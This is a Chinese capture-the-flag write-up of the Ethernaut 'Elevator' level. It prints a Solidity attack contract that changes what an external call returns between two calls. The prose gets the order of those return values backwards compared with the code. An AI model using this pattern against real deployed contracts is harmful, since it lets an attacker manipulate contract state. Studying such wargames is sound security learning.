Cover photo

智能合约黑客攻击 Ethernaut: 11. Elevator

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。

教程

题目

将 Elevator 合约中的 top 改为true。

Hack思路

goTo 方法里调用的 isLastFloor 方法是外部实现的,直接另外写一个合约,第一次调用 返回true,第二次跳用返回false。

攻击合约代码

interface IElevator {
    function goTo(uint256 _floor) external;
}

contract ElevatorHack {
    IElevator public exploitInst;
    uint256 private timesCalled;

    constructor(address _target) {
        exploitInst = IElevator(_target);
    }

    function attack() external payable {
        exploitInst.goTo(0);
    }

    function isLastFloor(uint256) external returns (bool) {
        timesCalled++;
        return timesCalled > 1 ? true : false;
    }
}

Hack案例

防范思路

参考资料

….